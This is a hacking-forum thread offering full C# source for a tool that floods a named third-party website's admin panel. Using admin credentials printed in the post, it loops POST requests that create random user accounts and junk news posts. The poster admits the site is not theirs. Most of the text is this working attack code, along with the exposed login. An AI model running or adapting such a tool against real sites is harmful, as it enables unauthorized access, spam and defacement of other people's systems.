Sinisterly
Web post Automated program in c# - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Web post Automated program in c# (/Thread-Web-post-Automated-program-in-c)



Web post Automated program in c# - xXx0011 - 11-27-2012

sample domain with password only for test :

u must login first to check..
http://www.qblanka.com/admin/add_user.php
user :admin
pass :qblanka

run the program and input requst count 10 or somting interger value then click the button
full souce code here http://www.mediafire.com/download.php?xqp6udl0situhge

[C#]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Web;
using System.Net;
using System.IO;
using System.Threading;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
private System.ComponentModel.IContainer components = null;

/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.TextBox textBox2;
public Form1()
{
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.button1 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.textBox2 = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// richTextBox1
//
this.richTextBox1.Location = new System.Drawing.Point(12, 42);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(464, 208);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "";
//
// button1
//
this.button1.Location = new System.Drawing.Point(118, 9);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 1;
this.button1.Text = "Send Data";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(12, 12);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(100, 20);
this.textBox1.TabIndex = 2;
//
// textBox2
//
this.textBox2.Location = new System.Drawing.Point(305, 9);
this.textBox2.Name = "textBox2";
this.textBox2.ReadOnly = true;
this.textBox2.Size = new System.Drawing.Size(170, 20);
this.textBox2.TabIndex = 3;
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(488, 280);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.button1);
this.Controls.Add(this.richTextBox1);
this.Name = "Form1";
this.Text = "Form1";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
this.PerformLayout();






}
public string stringGen(int len,string chars)
{
int length = len;
string allowedChars = chars;

if (length < 0) throw new ArgumentOutOfRangeException("length", "length cannot be less than zero.");
if (string.IsNullOrEmpty(allowedChars)) throw new ArgumentException("allowedChars may not be empty.");

const int byteSize = 0x100;
var allowedCharSet = new HashSet<char>(allowedChars).ToArray();
if (byteSize < allowedCharSet.Length) throw new ArgumentException(String.Format("allowedChars may contain no more than {0} characters.", byteSize));



var rng = new System.Security.Cryptography.RNGCryptoServiceProvider();

var result = new StringBuilder();
var buf = new byte[128];
while (result.Length < length)
{
rng.GetBytes(buf);
for (var i = 0; i < buf.Length && result.Length < length; ++i)
{
// Divide the byte into allowedCharSet-sized groups. If the
// random value falls into the last group and the last group is
// too small to choose from the entire allowedCharSet, ignore
// the value in order to avoid biasing the result.
var outOfRangeStart = byteSize - (byteSize % allowedCharSet.Length);
if (outOfRangeStart <= buf[i]) continue;
result.Append(allowedCharSet[buf[i] % allowedCharSet.Length]);
}
}
return result.ToString();


}

string kkk = "";
string kmmm = "";
private void SendGFill()
{
CheckForIllegalCrossThreadCalls = false;
button1.Enabled = false;
try
{
string k = "";
string k5 = "";
k = stringGen(15, "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
k5 = stringGen(20, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
kkk = "USER "+k;
kmmm = " Pass " +k5;

var encoding = new ASCIIEncoding();
var postData = "username=" + k5;
postData += ("&password=" + k + "&dateadntime=" + "00-00-0000" + "&MM_insert=" + "form1");
byte[] data = encoding.GetBytes(postData);
WebRequest request = WebRequest.Create("http://www.qblanka.com/admin/add_user.php?");
NetworkCredential credentialsx = new NetworkCredential("admin", "qblanka");
request.Credentials = credentialsx;
// Set the Method property of the request to POST.
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = postData.Length;
Stream dataStream = request.GetRequestStream();
dataStream.Write(data, 0, data.Length);
dataStream.Close();
WebResponse response = request.GetResponse();
// Display the status for chk only.
Console.WriteLine(((HttpWebResponse)response).StatusDescription);

dataStream = response.GetResponseStream();
// Open the stream using a StreamReader for easy access.
StreamReader reader = new StreamReader(dataStream);
// Read the content.
string responseFromServer = reader.ReadToEnd();
// Display the content.
richTextBox1.Text +="----------------+++++++++++++++++++++=========" +responseFromServer;
richTextBox1.Text =(responseFromServer);
// Clean up the streams.
reader.Close();
dataStream.Close();
response.Close();

}

catch
{

}
button1.Enabled = true;
}
private void SendGFill2()
{
CheckForIllegalCrossThreadCalls = false;
button1.Enabled = false;
try
{
string k = "";

k = stringGen(350, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789");

var encoding = new ASCIIEncoding();
var postData = "news=" + k;
postData += ("&dateandtime=" + "00-00-0000=" + "&MM_insert=" + "form1");
byte[] data = encoding.GetBytes(postData);
WebRequest request = WebRequest.Create("http://www.qblanka.com/admin/add_news.php?");
NetworkCredential credentialsx = new NetworkCredential("admin", "qblanka");
request.Credentials = credentialsx;

request.Method = "POST";
// Create POST data and convert it to a byte array.
// string postData = "This is a test that posts this string to a Web server.";
// byte[] byteArray = Encoding.UTF8.GetBytes(postData);
// Set the ContentType property of the WebRequest.
request.ContentType = "application/x-www-form-urlencoded";
// Set the ContentLength property of the WebRequest.
request.ContentLength = postData.Length;
// Get the request stream.
Stream dataStream = request.GetRequestStream();
// Write the data to the request stream.
dataStream.Write(data, 0, data.Length);
// Close the Stream object.
dataStream.Close();

WebResponse response = request.GetResponse();

// Display the status.
Console.WriteLine(((HttpWebResponse)response).StatusDescription);
// Get the stream containing content returned by the server.
dataStream = response.GetResponseStream();
// Open the stream using a StreamReader for easy access.
StreamReader reader = new StreamReader(dataStream);
// Read the content.
string responseFromServer = reader.ReadToEnd();
// Display the content.
richTextBox1.Text += "----------------+++++++++++++++++++++=========" + responseFromServer;
richTextBox1.Text = (responseFromServer);
// Clean up the streams.
reader.Close();
dataStream.Close();
response.Close();

}

catch
{

}
button1.Enabled = true;
}
int i = 0;
int x = 0;
private void button1_Click(object sender, EventArgs e)
{
try
{
ThreadStart tt = new ThreadStart(GoMe);
t = new Thread(tt);
if (t.ThreadState == ThreadState.Running)
{
t.Abort();
}
richTextBox1.Text = "";
textBox2.Text = "";
i = 0;
x = Convert.ToInt32(textBox1.Text);
t.Start();

}
catch(Exception er) { }


}
Thread t;
private void Form1_Load(object sender, EventArgs e)
{

}
public void GoMe()
{

while (i < x)
{
SendGFill();
SendGFill2();
richTextBox1.Text += kkk + kmmm + Environment.NewLine;

textBox2.Text = "Sucess requests : "+(i +1).ToString();
i++;
}
}

}
}
[/C#]


RE: Web post Automated program in c# - Shining White - 11-27-2012

is it your web site ? / / /

is it your web site ? / / /


RE: Web post Automated program in c# - xXx0011 - 11-27-2012

Test purpose only not my web